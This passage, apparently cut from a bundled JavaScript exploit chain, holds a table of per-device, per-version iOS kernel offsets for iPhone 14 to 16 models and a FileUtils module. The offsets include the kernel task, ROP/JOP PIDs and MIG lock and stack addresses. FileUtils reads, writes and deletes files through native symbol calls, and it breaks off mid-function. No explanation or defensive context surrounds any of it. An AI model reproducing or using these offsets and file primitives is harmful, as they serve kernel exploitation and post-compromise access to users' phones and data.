0x925720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f6230n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f6248n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa02678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9fa678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x382c218n,\n\t\t\t\t\tmigSbxMsg: 0x382c238n,\n\t\t\t\t\tmigKernelStackLR: 0x317d020n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x3848428n,\n\t\t\t\t\tmigSbxMsg: 0x3848448n,\n\t\t\t\t\tmigKernelStackLR: 0x31994a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa73d10n,\n\t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n\t\t\t\t\ttro: 0x398n,\n\t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x38543a8n,\n\t\t\t\t\tmigSbxMsg: 0x38543c8n,\n\t\t\t\t\tmigKernelStackLR: 0x31a27e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"6\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x92d318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x935770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9316d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x931720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa06230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa06248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa12678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa0a678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa77b18n,\n\t\t\t\t\tmigLock: 0x3898c18n,\n\t\t\t\t\tmigSbxMsg: 0x3898c38n,\n\t\t\t\t\tmigKernelStackLR: 0x31dff60n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa7fc00n,\n\t\t\t\t\tmigLock: 0x38b4e28n,\n\t\t\t\t\tmigSbxMsg: 0x38b4e48n,\n\t\t\t\t\tmigKernelStackLR: 0x31fc3e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa83d10n,\n\t\t\t\t\tmigLock: 0x38bcda8n,\n\t\t\t\t\tmigSbxMsg: 0x38bcdc8n,\n\t\t\t\t\tmigKernelStackLR: 0x3205560n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"7\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 14 Pro\n\t// iPhone 14 Pro Max\n\t// iPhone 15\n\t// iPhone 15 Plus\n\t\"iPhone15\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x914e00n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919238n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9215f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921640n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x91d640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9ee150n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2168n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67c18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x37863f8n,\n\t\t\t\t\tmigSbxMsg: 0x3786418n,\n\t\t\t\t\tmigKernelStackLR: 0x3131620n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fd00n,\n\t\t\t\t\tmigLock: 0x37a2788n,\n\t\t\t\t\tmigSbxMsg: 0x37a27a8n,\n\t\t\t\t\tmigKernelStackLR: 0x314dc24n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fe10n,\n \t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n \t\t\t\t\ttro: 0x398n,\n \t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x37aa708n,\n\t\t\t\t\tmigSbxMsg: 0x37aa728n,\n\t\t\t\t\tmigKernelStackLR: 0x3152ee0n\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"4\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 15 Pro\n\t// iPhone 15 Pro Max\n\t\"iPhone16\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0x140n,\n\t\t\t\t\tropPid: 0x1b0n,\n\t\t\t\t\tjopPid: 0x1b8n,\n\t\t\t\t\tguardExcCode: 0x380n,\n\t\t\t\t\ttaskThreads: 0x3c0n,\n\t\t\t\t\ttro: 0x3d0n,\n\t\t\t\t\tast: 0x3f4n,\n\t\t\t\t\tmutexData: 0x400n,\n\t\t\t\t\tctid: 0x480n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x978ef0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x991eb0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\toptions: 0xc0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3c8n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x99a308n,\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x99a268n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x99a2b8n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x9962b8n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xaae870n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x490n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xaae888n,\n\t\t\t\t\ttaskThreads: 0x3d0n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xab6cb8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xab2cb8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xb23d28n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x498n,\n\t\t\t\t\tmigLock: 0x3c03ef0n,\n\t\t\t\t\tmigSbxMsg: 0x3c03f10n,\n\t\t\t\t\tmigKernelStackLR: 0x3582fe0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xb2be10n,\n\t\t\t\t\tmigLock: 0x3c181a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c181c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35993a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xb2ff20n,\n \t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t\tmigLock: 0x3c241a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c241c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35a26a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t// iPhone 16\n\t// iPhone 16 plus\n\t// iPhone 16 pro\n\t// iPhone 16 pro max\n\t\"iPhone17\": {\n\t\t\"*\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x4042dc0n,\n\t\t\t\t\tmigSbxMsg: 0x4042de0n,\n\t\t\t\t\tmigKernelStackLR: 0x3912aa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x405eff8n,\n\t\t\t\t\tmigSbxMsg: 0x405f018n,\n\t\t\t\t\tmigKernelStackLR: 0x392be64n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1bf78n,\n \t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n \t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x4066f88n,\n\t\t\t\t\tmigSbxMsg: 0x4066fa8n,\n\t\t\t\t\tmigKernelStackLR: 0x39352e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x408acd0n,\n\t\t\t\t\tmigSbxMsg: 0x408acf0n,\n\t\t\t\t\tmigKernelStackLR: 0x396e4a0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x40a6f08n,\n\t\t\t\t\tmigSbxMsg: 0x40a6f28n,\n\t\t\t\t\tmigKernelStackLR: 0x3987924n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1ff78n,\n\t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n\t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x40b6e98n,\n\t\t\t\t\tmigSbxMsg: 0x40b6eb8n,\n\t\t\t\t\tmigKernelStackLR: 0x3998de0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/FileUtils.js\":\n/*!***************************************!*\\\n !*** ./src/libs/JSUtils/FileUtils.js ***!\n \\***************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ FileUtils)\n/* harmony export */ });\n\n\nconst TAG = \"FILE-UTILS\";\n\nconst O_RDONLY\t= 0x0000;\nconst O_WRONLY\t= 0x0001;\nconst O_RDWR\t= 0x0002;\nconst O_APPEND = 0x0008;\nconst O_CREAT\t= 0x0200;\nconst O_TRUNC\t= 0x0400;\nconst O_EVTONLY\t= 0x8000;\n\nconst ERROR\t\t= -1;\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nconst SEEK_SET = 0;\n\nclass FileUtils {\n\n\n\tstatic open(path) {\n\t\tconst fd = Native.callSymbol(\"open\", path, O_RDONLY);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\t\treturn fd;\n\t}\n\n\tstatic close(fd) {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\n\tstatic read(fd, size=0) {\n\t\tif (!size || size > Native.memSize)\n\t\t\tsize = Native.memSize;\n\t\tconst len = Native.callSymbol(\"read\", fd, Native.mem, size);\n\t\tif (!len || len == ERROR)\n\t\t\treturn false;\n\t\tconst buff = Native.read(Native.mem, len);\n\t\treturn buff;\n\t}\n\n\tstatic readFile(path, seek=0, length=0) {\n\t\tconst fd = this.open(path);\n\t\tif (fd === false)\n\t\t\treturn null;\n\n\t\tlet data = new Uint8Array();\n\n\t\tif (seek)\n\t\t\tNative.callSymbol(\"lseek\", fd, seek, SEEK_SET);\n\n\t\tlet remaining = length;\n\n\t\twhile (true) {\n\t\t\tlet size = remaining ? remaining : Native.memSize;\n\t\t\tif (size > Native.memSize)\n\t\t\t\tsize = Native.memSize;\n\t\t\tconst buff = this.read(fd, size);\n\t\t\tif (buff === false)\n\t\t\t\tbreak;\n\t\t\tconst buff8 = new Uint8Array(buff);\n\t\t\tlet newData = new Uint8Array(data.length + buff8.length);\n\t\t\tnewData.set(data, 0);\n\t\t\tnewData.set(buff8, data.length);\n\t\t\tdata = newData;\n\n\t\t\tif (remaining) {\n\t\t\t\tremaining -= buff.byteLength;\n\t\t\t\tif (!remaining)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tthis.close(fd);\n\n\t\treturn data.buffer;\n\t}\n\n\tstatic writeFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC);\n\t}\n\n\tstatic appendFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND);\n\t}\n\n\tstatic deleteFile(path) {\n\t\tNative.callSymbol(\"unlink\", path);\n\t}\n\tstatic foreachDir(path, func) {\n\t\tlet dir = 